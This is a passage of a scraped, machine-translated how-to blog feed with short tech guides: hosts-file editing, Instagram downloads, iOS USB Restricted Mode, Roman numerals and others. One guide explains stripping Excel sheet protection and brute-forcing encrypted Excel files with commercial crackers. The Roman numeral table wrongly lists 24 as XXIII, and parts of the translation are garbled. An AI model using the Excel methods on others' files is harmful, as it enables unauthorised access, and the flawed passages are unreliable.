source code. Step 1: You access the Instagram website for computers as above. Then, you select the image you want to download and Right-click on the image and select Test (Can be turned on quickly by the shortcut F12)\n  Step 2: When the source code window opens. Look up on the highlighted black line and click on the arrow in the left hand corner.\n    Step 3: When you click on the arrow, it will display the extension that is the link of the image. Now just right-click on the link and select Open in a new tab\n  Step 4: When the image is opened in a new tab, right-click on the image and select Save image as . to finish\n  So, Thuthuatphanmem.vn has instructed you two different ways to download photos from Instagram to your computer. Good luck !\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKmgn6m8tHnOp2SipqOprqi%2BwKZkraddrry2voycpqaopamysw%3D%3D\n","link":"/post/how-to-download-photos-on-instagram-to-your-computer/","section":"post","tags":null,"title":"How to download photos on Instagram to your computer"},{"body":"Sometimes, for some reason, you need to edit the host file on your computer, but you cannot edit because when saving the host file, you don't know how to open the host file…. If you do not know how to fix hosts file on Windows, please refer to the following article. The article details you how to fix hosts file on Windows 10.\n  Step 1: Open the etc folder containing the host file\nMethod 1: Click This PC to open File Explorer , then navigate to the etc folder under the path C: WindowsSystem32driversetc.\n  Method 2: Press Windows + R to open the Run dialog box, enter the keyword C: WindowsSystem32driversetc into Run and click OK to open the folder etc.\n  Method 3: Open the host file with Searchbox under the taskbar, click Searchbox and enter the keyword C: WindowsSystem32driversetc then select the search results, etc folderwill be opened.\n  Step 2: Open the host file with notepad\nRight-click on the host file -\u0026gt; Open in Notepad.\n  The host file will display as shown below:\n  Step 3: Edit the host file\nTo map a domain, just add a line based on the example below starting with the IP address, to the space, then the domain name. If you want to block the website, redirect to 127.0.0.1. If you do not want that line to take effect, put the # before the line. For example, you add a host segment as follows:\n  Step 4: Save the host file\nAfter you have finished editing you press Ctrl + S to save the file and turn off Notepad .\n  If you can not save the hosts file directly, you do the following:\nGo to the etc directory as above, copy the hosts file to any location (for example the desktop), then perform the same steps as above for the hosts file on the desktop (open the hosts file with Notepad and edit, save the host file ). Then you copy the host file on the desktop and paste it into the etc folder, a message appears that the host file exists, select Replace the file in the destination to overwrite the old hosts file.\n  Above the article has instructions on how to fix the host file on Windows 10, with Windows 7 you do the same or you can refer to the detailed tutorial here http://TipsMake.vn/cach-sua -file-host-config-file-host-doc-mo-file-host /\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmn6irpKh6p7XLnmSopl2stq%2BwzrCqZmlg\n","link":"/post/how-to-fix-the-hosts-file-on-windows-10/","section":"post","tags":null,"title":"How to fix the hosts file on Windows 10"},{"body":" This wikiHow teaches you how to remove the password from a protected Excel spreadsheet, as well as how to attempt to find out the password for an encrypted Excel file. Keep in mind that, while removing the password from an editing-locked...\nMethod 1of 2:\nRemoving Password Protection from a Sheet  Understand the conditions under which you can do this. If only the Excel sheet is protected—that is, if you can open the Excel file and view its contents but not edit it—then you can use this method to remove the password protection on both Windows and Mac computers. If the Excel file itself is encrypted, you cannot use this method to remove the password.   Check to see if the Excel file is encrypted. The easiest way to do this is by double-clicking the Excel file; if the file opens like usual when you double-click it, the sheet is protected but the file is not. You should see a pop-up warning appear if you attempt to edit the Excel sheet. If you're immediately prompted for a password upon double-clicking the file, the file is encrypted and you cannot use this method to open it—try the next method.   Make a copy of the protected sheet. Click the Excel file that contains the sheet you want to unprotect, then press Ctrl+C (Windows) or ⌘ Command+C (Mac) and paste it elsewhere by pressing Ctrl+V (Windows) or ⌘ Command+V (Mac). This is necessary in case you accidentally corrupt the original version of the file in the process.   Enable file extensions. Skip this step on a Mac. If you're using a Windows computer, you'll need to make sure you can view and change file extension names by doing the following: Open  File Explorer (or press ⊞ Win+E). Click View Check the \"File name extensions\" box.   Change the Excel file into a ZIP folder. To do so: Windows — Right-click the Excel file, click Rename, delete the \"xlsx\" text at the end of the file's name, and type in zip. Make sure that you keep the period between the file's name and \"zip\". Press ↵ Enter, then click Yes when prompted. Mac — Click the Excel file, click File, click Get Info, delete the \"xlsx\" text at the end of the file's name, and type in zip. Make sure that you keep the period between the file's name and \"zip\". Press ⏎ Return, then click Use .zip when prompted.   Extract the ZIP folder. This process will vary depending on your computer's operating system: Windows — Right-click the ZIP folder, click Extract All... in the drop-down menu, and click Extract when prompted. The extracted folder should open. Mac — Double-click the ZIP folder, then wait for the extracted folder to open.   Open the \"xl\" folder. Double-click this folder in the extracted folder to do so. If the extracted folder didn't open for some reason, first double-click the regular folder with the same name as your ZIP folder.   Open the \"worksheets\" folder. It's near the top of the \"xl\" folder.\n  Open the sheet in a text editor. Depending on your computer's operating system, do one of the following: Windows — Right-click the sheet you want to unlock (e.g., \"Sheet1\"), select Open with in the drop-down menu, and click Notepad in the resulting pop-out menu. Mac — Click the sheet you want to unlock (e.g., \"Sheet1\"), click File, select Open With, and click TextEdit.   Remove the password protection code. Find the \"sheetProtection\" section that's inside the \"\" brackets, then delete everything from \"\") on the other side of the sheet protection algorithm.\n  Save your changes and close the text editor. Press either Ctrl+S (Windows) or ⌘ Command+S (Mac), then click the X (or red circle on a Mac) in the corner of the text editor.\n  Copy the \"worksheets\" folder. Click the \"Back\" button to go back to the \"xl\" folder, then click the \"worksheets\" folder and press either Ctrl+C (Windows) or ⌘ Command+C (Mac).\n  Open the ZIP folder. Double-click the ZIP folder that you created earlier.\n  Replace the ZIP folder's \"worksheets\" folder with your copied one. Navigate to the ZIP folder's \"worksheets\" location by double-clicking the \"xl\" folder, then delete the \"worksheets\" folder, click a blank space in the current folder, and press either Ctrl+V (Windows) or ⌘ Command+V (Mac). This will paste the copied \"worksheets\" folder into the ZIP folder.\n  Change the ZIP folder back into an Excel file. Close the ZIP folder, then do one of the following: Windows — Right-click the ZIP folder, click Rename, replace the \"zip\" text with \"xlsx\", and press ↵ Enter. Click Yes when prompted. Mac — Click the ZIP folder, click File, click Get Info, replace the \"zip\" text in the title with \"xlsx\", and press ⏎ Return. Click Use .xlsx when prompted.   Open your Excel sheet. Double-click the Excel sheet, then edit it as needed. If you receive an error that the Excel sheet is damaged, you probably removed extra code when you were attempting to remove the password protection algorithm. Repeat the above steps, making sure to only remove the text between the brackets (\u0026gt;) and the brackets themselves.  Method 2of 2:\nCracking an Excel File Password  Understand that it may be impossible to crack the password. Modern versions of Excel, such as Excel 2013 and 2016, use advanced encryption techniques which make brute-force methods used by most password crackers virtually useless due to how long the password can take to crack (anywhere from weeks to years depending on the password strength). It is impossible to crack an Excel file without purchasing a password cracker, as free versions of reputable password crackers usually only cover up to Excel 2010.   Make sure your Excel file is protected. If your Excel file truly is encrypted, double-clicking the Excel file will prompt you for a password before you can view the file's contents. If double-clicking the Excel file opens the Excel worksheet, your Excel file may be protected from editing instead. If so, you can use the previous method to unlock it.   Purchase an Excel password cracker. Since the password can't be removed from the Excel file, you'll need to use a paid program to find the password so that you can enter it. Passware Excel Key is the only reputable password cracker that covers Excel versions up to 2016. Accent Excel Password Recovery and Rixler Excel Password Recovery Master are other options, though they only cover Excel versions up to 2013.   Install and open the password cracker. This process will depend on both the program and your computer's operating system, though in most cases you'll download a setup file, double-click it, follow the on-screen instructions, and then open the program once it finishes installing.\n  Select your Excel file. Using the password cracker's interface, find your Excel file, click it to select it, and click Open or Choose. Again, this step will vary depending on your chosen password cracker. For example, if you're using Passware Excel Key, you'll first have to click Remove a password before you can select a file.   Run the password cracker. If necessary, click the Start or Run button in the password cracker window to begin cracking your Excel file's password. You may have the option of selecting a specific type of attack (e.g., brute-force) here.   Wait for results. Unfortunately, brute-force attacks can take anywhere from a few hours to a few months to crack your Excel file's password. Depending on the contents of the Excel file, it might be necessary to abandon your efforts if you haven't found the password within a day or so. If the password cracker does find the correct password, it will display the password in a pop-up window. You can then enter the password in the prompt that appears when you open the Excel file.   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYypmKyrp6S%2FpXnPq6atnZOpsqV5xLGanqRdm7atsQ%3D%3D\n","link":"/post/how-to-open-a-password-protected-excel-file/","section":"post","tags":null,"title":"How to Open a Password Protected Excel File"},{"body":"As you know, in every web browser there is a feature called incognito tab. Incognito tab is a feature that helps users browse their anonymously when visiting websites. When in incognito mode the browser will not save your website data, cookies and browsing history or account information that you have entered into the form. This article of TipsMake.com will guide you to open an incognito tab on the current popular web browsers, please refer.\n  1. Open an incognito tab on FireFox To open an incognito tab on FireFox browser you can press\u0026nbsp; Ctrl + Shift + P\u0026nbsp; or press the menu button on the right corner of the browser then select\u0026nbsp; New Private Window\n  On the incognito tab, there will be a strange face icon for you to easily identify:\n  2. Open incognito tabs on Chrome and Coc Coc How to open incognito tabs on Chrome and Coc Coc browsers are quite similar because these two browsers share the same source code.\nTo open incognito tabs on these 2 browsers, you can press\u0026nbsp; Ctrl + Shift + N\u0026nbsp; immediately an incognito tab will appear.\nOr on Chrome, press the 3 dots button in the upper left corner and then select the New incognito window.\n  On Coc Coc, click on the Coc Coc icon and select the new Anonymous Windows section\u0026nbsp; .\n  On the incognito tab will have special icons for you to identify:\n  3. Open an incognito tab on the EDGE browser In EDGE browser, you can open incognito tab by pressing Ctrl + Shift + P or pressing the menu button on the right corner then select\u0026nbsp; New InPrivate window.\n  On incognito tab will have InPrivate icon for you to know.\n  Above is how to open incognito tabs on some popular browsers today, thank you for watching the article! Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuwNSrpWannmK2r6%2FOoKWirJ9iwaKujK2mZpqipMS0sYypqaKukamyrcWMqKVmsZ%2Bqv26vzqanrqyVpw%3D%3D\n","link":"/post/how-to-open-turn-on-incognito-tab-to-browse-privately-on-your-computer/","section":"post","tags":null,"title":"How to open, turn on Incognito Tab to browse privately on your computer"},{"body":"Starting with iOS 12, you will have to unlock the iPhone or iPad to connect to the USB accessory, which is because the ' USB Restricted Mode ' protects the iPhone or iPad from hack tools like GrayKey.\nWhy do you see this warning?\nYou see this warning due to ' USB Restricted Mode ', an Apple security feature added in iOS 11.4.1 and improved in iOS 12. This feature prevents USB devices from establishing a data connection in when iPhone or iPad lock. Devices connected to the Lightning port can still charge iPhone or iPad however they cannot do anything if the iPhone or iPad locks.\nBecause hacking tools like GrayKey take advantage of USB connections to crack protected PINs on iPhone or iPad. To prevent this, Apple restricts USB devices to establish data connections when the iPhone or iPad locks. This is the default setting, you can turn it off if you want, but Apple advises you not to do so because Restricted Mode USB mode prevents others from accessing your iPhone or iPad without your permission.\nWhen connecting a USB device to an iPhone or iPad while enabling limited mode, you will see a \" USB Accessory \" recording \" Unlock iPhone to use accessories ' or\" Unlock iPad to use accessories \".\nHow to turn off Restricted Mode USB mode As it is, you should not turn off this restricted mode USB mode. When connecting to a USB device, simply unlock the phone or tablet with the Touch ID or Face ID. But if this feature annoys you, you can turn it off, especially when using multiple USB devices.\nTo disable USB Restricted Mode and let it work even if the device is locked, go to Settings\u0026gt; Touch ID \u0026amp; Passcode (or Face ID \u0026amp; Passcode ), enter the PIN code to continue.\nIn the Allow Access When Locked section , turn on the USB Accessories option so that the device can connect to the iPhone or iPad when locked.\n  Again, we recommend that you do not enable this feature. It has to protect your personal data from hacking tools being used today.\nSee more:\nInstructions on how to recover deleted messages on iPhone How to simply copy files from computer to iPhone / iPad ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWLCr7jOnKJmoaCdvK%2BxjK2mZq2jmnqir8Keqqynop6ytHnWmqmnoZ6cerC6jKKnoaeemnqqvMCd\n","link":"/post/how-to-turn-off-the-unlock-iphone-to-use-accessories-warning-on-iphone-ipad/","section":"post","tags":null,"title":"How to turn off the 'Unlock iPhone to Use Accessories' warning on iPhone, iPad"},{"body":" This wikiHow teaches you how to format your High-Definition video for YouTube so that it plays in full HD-format. YouTube supports a variety of HD formats from 720p to 2160p (4K). You can also upload videos with HDR. Record the video in HD...\nPart 1of 2:\nCreating the Video  Record the video in HD resolution. Your videos will need to have a square pixel aspect ratio to display properly. Use one of the following resolutions for recording HD video:[1] 720p: 1280 x 720 1080p: 1920 x 1080 1440p: 2560 x 1440 2160p: 3840 x 2160   Use the correct frame rate. Use the same frame rate your video was recorded in to encode and upload it. Common frame rates are 24, 25, 30, 48, 50, and 60 frames per second (fps).[2]\n  Select the proper video bitrate. Video bitrate is the rate at which the video codec encodes the video playback. Your video should be optimized for your video resolution, framerate, and whether or not your video has high dynamic range (HDR). YouTube recommends the following bitrates for standard framerates (24 - 30 fps) and high framerates (48 - 60 fps): [3] 2160p: Standard framerate: 35-45 Mbps, High framerate: 53 -68 Mpbs. 2160p (HDR): Standard framerate: 44 - 56 Mbps, High framerate: 66 - 85 Mbps. 1440p: Standard framerate:: 16 Mbps, High framerate: 24 Mbps. 1440p (HDR): Standard framerate: 20 Mbps, High framerate: 30 Mbps. 1080p: Standard frame rate: 8 Mbps, High frame rate: 12 Mbps. 1080p (HDR): Standard framerate: 10 Mbps, High framerate: 15 Mbps. 720p: Standard frame rate: 5 Mbps, High framerate: 7.5 Mbps. 720p (HDR): Standard framerate: 6.5 Mbps, High framerate:: 9.5 Mbps.   Use the AAC-LC audio codec with a 48khz or 96khz sample rate. This is the recommended audio format for YouTube videos. YouTube also supports mono, stereo, and 5.1 surround sound channels.\n  Use the H.264 video codec. H.264 is the most common compression format for HD video.[4]\n  Save the video in a supported format. YouTube recommends videos be uploaded in MP4 format. However, almost all popular formats are supported by YouTube, including AVI, MOV, WMV, and FLV.[5]\n Part 2of 2:\nUploading the Video  Verify your YouTube account(optional). If you have not verified your account, you can only upload videos that are a maximum length of 15 minutes with a maximum size of 20GB. Verified accounts can upload videos that are up to 12 hours long and 128 GB in size. Use the followings steps to verify your account, if you have not already done so: Go to https://www.youtube.com/verify in a web browser. Select your country. Select the option to receive a phone call or text message. Enter your phone number and click Submit. Wait for the phone call or text message. Enter the 6-digit verification code in YouTube verification page and click Submit.   Go to https://www.youtube.com in a web browser. This is the website for YouTube. If you are not signed in automatically, click Sign In in the upper-right corner. Select your YouTube account and enter your password to sign in. If you don't see your YouTube account listed, click Use another account and enter the email address and password associated with your YouTube account.   Click the icon that resembles a camera with a plus sign (+) in the center. It's in the top-right corner of the page. A menu will expand.\n  Click Upload video. It's the first item in the drop-down menu.\n  Click Select File. It's the blue button in the center of the screen. This opens your computer's file browser. You can also drag and drop a video in the center of the window.   Select the video and click Open. The video will begin uploading to YouTube.\n  Enter a title for the video. By default, the file name will be the title of the video. If you want to give it a different name, you can type it under the box labeled \"Title\".\n  Enter a description of the video. Use the box labeled \"Description\" to type a brief description of the video.\n  Select a video thumbnail. After the video is done processing, this step will be available. This is a still from the video that will display as the video's thumbnail when your video appears is a video search. You can also click the Upload thumbnail box and select a custom thumbnail to upload.   Select if the video is for kids or not. YouTube now requires you to select the audience the video was made for. If the video was made for kids, tick \"Yes, it's made for kids.\". If it's not made for kids, tick \"No, it's not made for kids.\" In order to comply with the Children's Online Privacy Protection Act (COPPA), YouTube requires you to set the audience for each video you upload. If a video is marked as \"Made for kid\" features such as personalized ads, comments, info cards, and end screens will not be available. YouTube may set the audience settings for videos that are marked incorrectly. Intentionally marking videos incorrectly may result in consequences from YouTube. [6]   Set an age restriction (optional). If your video has content that may be inappropriate for kids, you can click Age Restriction (Advanced) and then tick Yes, restrict my video to viewers over 18 only.\n  Click More Options (Optional). The More Options button at the bottom of the page displays more settings for your video. You can find the following options under \"More Options:\" Paid Promotions: If your video has paid promotions, tick \"This video contains paid promotion like a product placement or endorsement.\" You can then tick the option if you want to add a message to inform viewers of paid promotions. Tags: Tags are keywords that users type in the search bar to display your video in a search. Type any tags you want to be associated with your video in the box below \"Tags.\" Language, subtitles, closed captions (CC): Use the drop-down menu to select a language for your video. After you select a language, you can select a caption certification, and even upload a subtitles script file, if you have one. Recording date and location: If you want the video to include the recording date and location, use the boxes below \"Recording date and location\" to select a date and enter a location. License and Distribution: Here you have the option to select the Standard YouTube License or the Creative Commons License. You also have the option to allow embedding and publish to subscriptions feed. Category: Here you can select a category for the video and enter information related to the video Comments and Ratings: Use the drop-down menu to select if you want to allow all comments, hold inappropriate comments for review, hold all comments for review, or disable comments. You can also select if you want the comments to be sorted by top comments or the newest comments.   Click Next. It's the blue button in the lower-right corner.\n  Add end screens or cards (Optional). You can use end screens and cards to promote related content during and after your video. To add an end screen or card, click Add to the right of \"Add and end screen\" or \"Add Cards\". To enter the video card editor. Follow the instructions to add cards to your video. To return to YouTube Studio from the video card editor, click Return to YouTube Studio in the upper-right corner.   Set your video visibility. This sets who is allowed to view your video and how easy it is to find. To set your video visibility, click Publish Now. Then tick one of the following: Public: This allows anyone to search and view your video. Unlisted: This only allows those with a link to view your video. Private: This only allows those you choose to view your video.   Schedule a publish date (optional). You have the option to set when you want the video to be published. To schedule a publish date, click Schedule and then use the drop-down boxes to select the date and time you want the video to be published. Then click Schedule in the lower-right corner.\n  Click Done. It's the blue button in the lower-right corner. This saves your video settings. Your video will be published immediately, or at the time you schedule for it to publish. You will then be presented with a window that gives you the option to share your video on social media. If the video displays in a lower resolution, click the gear icon at its bottom-right side, click the Quality drop-down, then select a higher resolution. The video may appear at a lower resolution until it is completely done processing. If the quality of the video is not what you expected, it could be the result of a poor internet connection.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gobyisIyapWaglGLDqrDEqGStp12uvLbA1Juc\n","link":"/post/how-to-upload-an-hd-video-to-youtube/","section":"post","tags":null,"title":"How to Upload an HD Video to YouTube"},{"body":"Welcome to the official update of iOS 13, which is about to be released on September 10, or September 11 (Vietnam time), iMyFone software company offers a free promotion for iMyFone TunesFix copyright (tool fix iTunes errors) and Umate Mac Cleaner (Mac optimization utility) for users until September 24, 2019. Please download quickly before the promotion period ends.\niMyFone TunesFix (iTunes error correction tool)\n  iMyFone TunesFix is ​​a useful tool that helps to fix more than 100 errors that iTunes (iPhone / iPad management software) can encounter without losing data stored quickly and easily. This tool also supports cleaning, completely erasing iTunes with just one click.\niMyFone TunesFix is ​​compatible with iTunes 12.5.3.16 and later versions.\nUmate Mac Cleaner (Mac optimization utility)\n  This tool will help find, remove junk files and free up more storage space on your Mac with just two simple steps, Quick Clean and Deep Clean.\nUmate Mac Cleaner also supports removing background processes to bring the best performance to the Mac.\nThis Mac optimization utility can disable log entries, delete private data - Protect your privacy, manage applications with extended levels .\nInstructions for getting free iMyFone TunesFix and Umate Mac Cleaner\nStep 1: Access the iMyFone Giveaways and Big Deals for iOS 13 Release link by following the link below.\nhttps://www.imyfone.com/deals/ios-13-giveaways/#techrum.vn\u0026amp;link\u0026amp;cp_iOS13  Step 2: Share content on social networks.\n  Step 3: Enter your e-mail information, full name and confirmation code -\u0026gt; then click Get License to receive the copyright code.\n  Step 4: Visit the link below to download and install iMyFone TunesFix or Umate Mac Cleaner software.\niMyFone TunesFix - Repair All iTunes Issues \u0026amp; Errors\nhttps://www.imyfone.com/repair-itunes/#techrum.vn\u0026amp;link\u0026amp;cp_iOS13  Umate Mac Cleaner - Clean Up and Optimize Your Mac to Peak Performace\nhttps://www.imyfone.com/umate-mac-cleaner/#techrum.vn\u0026amp;link\u0026amp;cp_iOS13  Step 5: Select Registration code -\u0026gt; enter the email address and copyright key received in step 3 is okay.\n  Please download 4K Camera Filmmaker Pro, a professional video recording application, which is free ncG1vNJzZmismaXArq3KnmWcp51ktq7FxailnmWfm7OmvtJmnaudlWLAsLLTsJirnV2bvLN5yKawn6eemnq1wc2eqp%2BhqGKur7CMrqSarJViuqKvjJyjnpmemr8%3D\n","link":"/post/imyfone-offers-free-software-for-imyfone-tunesfix-and-umate-mac-cleaner/","section":"post","tags":null,"title":"iMyFone offers free software for iMyFone TunesFix and Umate Mac Cleaner"},{"body":"In addition to directing work notes, or on the computer, creating work notes and information on smartphones will help users to view content quickly anywhere, anytime. Notes application on iOS device gives users a very simple interface, with the main notes and editing functions effectively.\nAnd during use, sometimes we will accidentally delete some important notes on iPhone and iPad. So what if I want to get back those notes? In the article below, Network Administrator will guide you how to retrieve deleted notes on iPhone / iPad. However, note to readers, how to get back this note only applies to new cases or within 30 days from the date of deletion only.\nMethod 1: Restore deleted iPhone notes from the \"Recently Deleted\" folder Step 1:\nFirst of all, we open the note application on the iPhone device. At the notes interface, you will see a list of the notes we have created. Next, we will click the arrow icon on the top left corner of the interface.\nSoon you will see Notes (Folders) of notes, including Notes with current notes and Recently Deleted. We will access the Recently Deleted section.\n   Step 2:\nThe list of all the notes that you have deleted will appear. Click the Edit (Edit) button at the top of the screen to the right of the screen. After that, check on which notes you want to retrieve . Next click on Move to . (Move to .).\n   Step 3:\nTo the new interface, users can choose to transfer the note they want to retrieve to the existing Notes folder or create themselves into the new Folder (New Folder). Thus the note has been retrieved and appears in the folder we selected on the iPhone / iPad.\n   Very simple right ?! With just a few steps, you can retrieve the deleted notes on the iPhone / iPad Notes application. However, users need to quickly retrieve the note, as it can only be done within 30 days. After 30 days of deletion, the note will automatically disappear on the iOS device.\nMethod 2: Restore deleted notes on iPhone from iTunes backup Restore iPhone from iTunes backup If you regularly back up your iPhone data to iTunes, it is likely that your deleted Notes may be in an iTunes backup. Here's how to recover them from iTunes.\nStep 1: Connect iPhone and Open iTunes on your computer you have synced your device.\nStep 2: Click \" Restore Backup \" to restore the device to the latest iTunes backup.\n  But there is a disadvantage from restoring deleted notes from iTunes backup. ITunes backup will overwrite existing data on iPhone. So, back up your existing iPhone data before recovering to make sure no important files are lost.\nExtract iPhone notes from iTunes backup iMyFone D-Back can also be useful when you backup notes on iTunes. You can only use it to extract them from backup. How to do the following:\nStep 1: Select \" Recover from iTunes backup \". Click \" Start \" and then select \" Note \" as the data type to extract.\n  Step 2: Select iTunes backup from the list listed and then click \" Scan \" to allow the program to scan the selected backup file.\n  Step 3: When the scan is complete, all Notes will be displayed on the next window. Choose the ones you need and click \" Recover \" to save them.\n  Method 3: Restore deleted iPhone notes from iCloud Backup Restore iPhone from iCloud Backup If you have enabled iCloud Backup and meet the requirements for automatic daily iCloud backup, your Deleted Notes can be included in the iCloud backup file.\nIf the note is in iCloud Backup, all you have to do is restore the iCloud backup to get the notes back.\nBut like when recovering iTunes, you risk losing data recently on the device. Fortunately, you can extract notes from iCloud Backup, just like you did with iTunes Backup.\nExtract iPhone Notes from iCloud Backup Steps to extract notes from iCloud Backup using iMyFone D-Back iPhone Win data recovery or similar Mac data recovery to extract them from iTunes Backup.\nHave you regained your deleted notes with the above methods? If you have other good suggestions on how to recover deleted notes on your iPhone, leave us a comment in the comment section below!\nRefer to the following articles:\nHow many tricks have you missed using this iPhone? Instructions on how to set Notes notes password on iOS 9.3 How to lock apps on iPhone without jailbreak I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaqlam%2FqrHVoqWgZZSauabAxJ1kp6ekmsBuu81moKmgn6OybrXPmps%3D\n","link":"/post/instructions-for-retrieving-deleted-notes-on-iphone-ipad/","section":"post","tags":null,"title":"Instructions for retrieving deleted notes on iPhone / iPad"},{"body":"Roman numbers or Roman numerals are a numerical system derived from ancient Rome, based on Etruria numerals. The Roman numeral system has been used since ancient times and by the Middle Ages, this numeral system was edited and used to this day.\nToday, Roman numbers are often used in statements, watch faces, pages located in front of the main part of a book, chord notes in musical analysis, numbering the film's publication date, but successive political leaders, or namesake children, and numbering for certain activities, such as the Olympic Games and Super Bowl . To write and read Roman numerals is not difficult Since they all have certain rules, the difficulty here is to remember the value of the characters to distinguish which ones are smaller and smaller, then add and subtract. In the article below, Network Administrator will guide you how to write and read Roman numbers correctly. Invite you to follow along.\n1. Numerals and writing Roman numbers   In the Roman numeral sequence there will be 7 basic digits, from which the user can add the following subtraction to the number you need: I = 1; V = 5; X = 10; L = 50; C = 100; D = 500; M = 1000\n- As a general rule, the digits I, X, C, M will not be allowed to repeat more than 3 times on a calculation. And the numbers V, L, D can only appear once.\n- Basic digits are repeated 2 or 3 times to indicate the value 2 or 3 times more.\nFor example:\nI = 1; II = 2; III = 3\nX = 10; XX = 20; XXX = 30\nC = 100; CC = 200; CCC = 300\nM = 1000; MM = 2000; MMM = 3000\n- Rule of writing Roman numbers is a plus and a minus:\n+ The number added to the right is added (less than the original number) and absolutely no more than 3 times the number.\nFor example:\nV = 5; VI = 6; VII = 7; VIII = 8\nIf written: VIIII = 9 (incorrect), the correct writing will be IX = 9\nL = 50; LX = 60; LXX = 70; LXXX = 80\nC = 100; CX = 110; CV = 105\n2238 = 2000 + 200 + 30 + 8 = MMCCXXXVIII\n+ The numbers written on the left are usually subtracted, meaning that the original number minus the left number will produce the value of the calculation. Of course, the number on the left will be smaller than the original number so you can perform the calculation.\nFor example:\nnumber 4 (4 = 5-1) written as IV\n9 (9 = 10-1) Write as IX\nnumber 40 = XL; + number 90 = XC\nnumber 400 = CD; + number 900 = CM\nMCMLXXXIV = 1984\nMMXIX = 2019\nWhen using the digits I, V, X, L, C, D, M, and the numerical groups IV, IX, XL, XC, CD, CM to write Roman numbers. From left to right the value of the digits and group of digits decreases.\nExample: MCMXCIX = one thousand nine hundred and nine nine.\n2. How to read roman numbers As mentioned above: From left to right the value of the digits and group numbers decreases so we pay attention to the digits and groups of digits thousands to hundreds, tens and units (like reading numbers nature).\nExample: Number: 2222 = MMCCXXII: thousands: MM = 2000; hundreds: CC = 200; tens: XX = 20; Unit units: II = 2. Reading is: Two thousand two hundred and twenty two.\nAttention:\nOnly I can stand before V or X X will be allowed to stand before L or C C can only stand before D or M For larger numbers (4000 and above), a dash is placed on the beginning of the original number to indicate multiplication for 1000:\nFor very large numbers there is usually no uniform form, although sometimes two tiles or an underscore are used to indicate multiplication for 1,000,000. This means that the X underline (X) is ten million.\nRoman numbers do not have a zero.\nHere is the roman numeric table you can refer to:\n1 = I 26 = XXVI\n51 = LI\n76 = LXXVI\n2 = II\n27 = XXVII\n52 = LII\n77 = LXXVII\n3 = III\n28 = XXVIII\n53 = LIII\n78 = LXXVIII\n4 = IV\n29 = XXIX\n54 = LIV\n79 = LXXIX\n5 = V\n30 = XXX\n55 = LV\n80 = LXXX\n6 = VI\n31 = XXXI\n56 = LVI\n81 = LXXXI\n7 = VII\n32 = XXXII\n57 = LVII\n82 = LXXXII\n8 = VIII\n33 = XXXIII\n58 = LVIII\n83 = LXXXIII\n9 = IX\n34 = XXXIV\n59 = LIX\n84 = LXXXIV\n10 = X\n35 = XXXV\n60 = LX\n85 = LXXXV\n11 = XI\n36 = XXXVI\n61 = LXI\n86 = LXXXVI\n12 = XII\n37 = XXXVII\n62 = LXII\n87 = LXXXVII\n13 = XIII\n38 = XXXVIII\n63 = LXIII\n88 = LXXXVIII\n14 = XIV\n39 = XXXIX\n64 = LXIV\n89 = LXXXIX\n15 = XV\n40 = XL\n65 = LXV\n90 = XC\n16 = XVI\n41 = XLI\n66 = LXVI\n91 = XCI\n17 = XVII\n42 = XLII\n67 = LXVII\n92 = XCII\n18 = XVIII\n43 = XLIII\n68 = LXVIII\n93 = XCIII\n19 = XIX\n44 = XLIV\n69 = LXIX\n94 = XCIV\n20 = XX\n45 = XLV\n70 = LXX\n95 = XCV\n21 = XXI\n46 = XLVI\n71 = LXXI\n96 = XCVI\n22 = XXII\n47 = XLVII\n72 = LXXII\n97 = XCVII\n23 = XXIII\n48 = XLVIII\n73 = LXXIII\n98 = XCVIII\n24 = XXIII\n49 = XLIX\n74 = LXXIV\n99 = XCIX\n25 = XXV\n50 = L\n75 = LXXV\n100 = C\nSee more:\nHow much do we try together with the 33x33 problem? Learning chemistry will become very interesting with the Chemical Equation application Why should you learn Python programming language? Life will become easier with 9 quick calculation tips learned from elementary school ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZLCqmamybq3NnWSrnZGZerW0xGaaqJyVYra0ecKoqaudk6k%3D\n","link":"/post/instructions-to-write-and-read-the-code-is-correct/","section":"post","tags":null,"title":"Instructions to write and read the code is correct"},{"body":" learn hack | TipsMake.com    what is tcp / ip packet tcp / ip stands for transmission control protocol and internet protocol, a tcp / ip packet is a block of compressed data, then attaches a header and sends it to another computer. this is how the internet transmits, by sending packets. the header in a packet contains the ip   this is a short educational questioning package that aims to give you some techniques that hackers use and help you protect your code from attack. you will be provided with the correct answer with detailed explanation after you have completed all the questions.   if you have vlc media player on your computer, you must immediately upgrade to the latest version, 3.0.7 or higher.   apple was finally able to build the boot camp feature in mac os x 10.5 or later, allowing windows to run on apple hardware.   when it comes to hackers, perhaps the first model we imagine is college students or experts in computer science.   a raspberry pi 3 runs kali linux for building amazing hacking skills. this small computer is cheap, powerful and very flexible.   because personal data, widely publicized security vulnerabilities are becoming increasingly popular, moral hackers, or white-hat hackers, are being hunted by businesses to help them maintain. maintaining network and data security.   darktrace teamed up with cambridge university mathematicians to develop a machine learning tool to detect internal disclosures.   well, once again we find that students with poor grades or frequent absenteeism are not necessarily ignorant or ill-advised, but perhaps simply because of 'boredom'.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mijnpmio3qprcKkZaGsnaE%3D\n","link":"/post/learn-hack-tipsmake-com/","section":"post","tags":null,"title":"learn hack | TipsMake.com"},{"body":"Normally, to cut a certain video we often use specialized software. However, these software are often quite abundant functions compared to the need to use and some people do not like to install too much software on their computers. Therefore, in this article, Thuthuatphanmem.vn will guide you how to cut video in Windows 10 quickly and without installing additional software hassle. This method is suitable for those who need to simply trim the video and do not need to edit anything else. Invite you to refer.\nStep 1 : Right-click the video to select and select\u0026nbsp; Open With -\u0026gt; Photos\n  Step 2: After the video is opened, click on the video, select\u0026nbsp; Edit \u0026amp; Create \u0026nbsp;and then select\u0026nbsp; Trim\n  Step 3: \u0026nbsp;The video cutting toolbar appears, select the beginning and end of the video you want to cut, select Finish and click Save a copy to save the video.\n  Step 4: A new window appears, select the saved folder, name the video and then 